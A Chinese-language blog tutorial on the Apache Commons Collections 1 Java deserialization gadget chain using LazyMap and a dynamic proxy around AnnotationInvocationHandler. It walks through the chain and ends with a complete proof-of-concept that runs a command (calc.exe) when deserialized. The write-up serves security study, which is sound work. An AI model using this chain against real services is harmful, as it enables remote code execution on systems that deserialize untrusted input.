CommonsCollections 1 (3) 这里是cc1的最后了,在ysoserial
的源码中,它利用的是LazyMap
而不是TransformedMap
,其实我认为TransformedMap
更简单也更好理解,但既然它用的是LazyMap
那我们就来看看LazyMap
嘛,这里就需要用到动态代理的知识了
LazyMap是啥 LazyMap
和TransformedMap
类似,都是对map做一个修饰,都来自于Common-Collections库,并继承AbstractMapDecorator
而LazyMap
的漏洞触发点和TransformedMap
唯一的差别是,TransformedMap
是在添加新元素的时候执行transform
,也就是put
一个新元素的时候;而LazyMap
是在get
方法中执行的transform
,因为LazyMap
的作用是“懒加载”,当它尝试get
一个不存在的key
时,它会调用factory.transform
方法去获取一个值,因为会调用transform
,从而触发漏洞,看看它的get
方法:
1 2 3 4 5 6 7 8 9 COPY public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
而这个factory
是什么呢?我们来看看LazyMap
中的decorate
方法和构造方法就好了:
1 2 3 COPY public static Map decorate (Map map, Transformer factory) { return new LazyMap(map, factory); }
1 2 3 4 5 6 7 COPY protected LazyMap (Map map, Transformer factory) { super (map); if (factory == null ) { throw new IllegalArgumentException("Factory must not be null" ); } this .factory = factory; }
可以看到,这个factory
就是decorate
方法的第二个参数,也就是我们传入的Transformer
;之后的过程就和前面讲的一样了
所以说我们来本地触发一下漏洞,其实和第一篇文章的代码差不多的,只不过把TransformedMap
改成LazyMap
,把put
改成get
接下来我们就来把这本地测试的类改成一段反序列化的流,这里会稍微复杂一点,因为AnnotationInvocationHandler
类中的readObject
方法中并没有直接调用map中的get
方法,但在AnnotationInvocationHandler
类中的invoke
方法中有调用到get
如何调用invoke 那么如何调用到AnnotationInvocationHandler
类中的invoke
方法呢?这就需要用到我们前面说过的动态代理了,因为AnnotationInvocationHandler
类同样是实现了InvocationHandler
接口,那它相当于就是一个动态代理类,那我们就可以通过Proxy
的静态方法newProxyInstance
去动态创建代理了,而这样就可以进入到invoke
方法中,记不太清了的话可以去看看前面的文章
Proxy.newProxyInstance
的第一个参数是ClassLoader
,我们用默认的即可;第二个参数是我们需要代理的对象集合,这里肯定是map嘛;第三个参数是一个实现了InvocationHandler
接口的对象,也就是代理类的对象,在这里其实就是我们前面利用反射创建的AnnotationInvocationHandler
对象,里面有invoke
方法,并且包含了具体代理的逻辑,这时候只要我们调用任意方法,都会进入到代理类的invoke
方法中,进而触发漏洞,这里还是举个例子,看一个劫持:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 COPY import java.lang.reflect.*;interface flag { void getflag () ; } class getflag implements flag { @Override public void getflag () { System.out.println("Give you flag: flag{wllm_yyds}" ); } } class DynamicProxy implements InvocationHandler { protected Object obj; public DynamicProxy (Object obj) { this .obj = obj; } @Override public Object invoke (Object proxy, Method method, Object[] args) throws Throwable { System.out.println("success" ); return null ; } } public class test11 { public static void main (String[] args) { flag flag = new getflag(); InvocationHandler handler = new DynamicProxy(flag); flag a = (flag) Proxy.newProxyInstance(getflag.class.getClassLoader(), new Class[]{flag.class}, handler); a.getflag(); } }
这样就可以进入到invoke
了,所以说代码如下:
1 2 3 4 5 6 COPY Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true ); Object obj = construct.newInstance(Retention.class, outerMap); InvocationHandler handler = (InvocationHandler) obj; Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
代理后的对象为proxyMap
,这里我们不能对它直接反序列化,因为这条链子的入口依然是AnnotationInvocationHandler
类中的readObject
方法,所以说我们再利用AnnotationInvocationHandler
对这个proxyMap
进行封装就好了
1 COPY handler = (InvocationHandler) construct.newInstance(Retention.class,proxyMap);
完整的链子 那我们就来看看完整的链子的思路:
首先是ObjectInputStream
对象的readObject()
,也就是对象流的反序列化,然后就是AnnotationInvocationHandler
对象的readObject()
方法,由于我们设置了代理,访问任意方法后就会进入到AnnotationInvocationHandler
对象中的invoke
方法,然后调用LazyMap
中的get
方法,进入到get
方法那一切都好说了,然后调用ChainedTransformer
中的transform
方法,然后调用ConstantTransformer
中的transform
方法,返回Runtime.class
对象,然后调用InvokerTransformer
中的transform
方法,然后利用invoke
方法获取到getMethod
方法,得到getRuntime
对象,最后执行里面的exec
方法就好了
ysoserial
给的示意图:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 COPY Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
所以说poc如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 COPY import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class CommonCollections1_3 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[] {String.class, Class[].class }, new Object[] { "getRuntime" , new Class[0 ] }), new InvokerTransformer("invoke" , new Class[] { Object.class, Object[].class }, new Object[] { null , new Object[0 ]}), new InvokerTransformer("exec" , new Class[] { String.class }, new String[] {"calc.exe" }),}; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true ); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler); handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(handler); System.out.println("对象序列化成功!" ); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); System.out.println("对象反序列化成功!" ); } }
不过由于版本原因,我本地依然没有弹出计算器,切换版本之后弹出计算器:
前面详细分析了LazyMap
的用法并且构造了poc,但是LazyMap
仍然无法解决CommonCollections1
在Java高版本(8u71以后)中的使用问题
LazyMap
的漏洞触发在get
和invoke
中,完全没有setValue
什么事,这也说明8u71后不能利用的原因和AnnotationInvocationHandler#readObject
中有没有setValue
没任何关系,主要还是跟逻辑有关系,主要它会新建一个map
对象,而没有用我们构造的那个map了
只不过我还是认为TransformedMap
用起来更加方便一点,不太明白为啥ysoserial
要使用LazyMap
参考文章:
https://y4tacker.blog.csdn.net/article/details/117448761
https://fmyyy.gitee.io/2021/09/03/java反序列化CC1-3/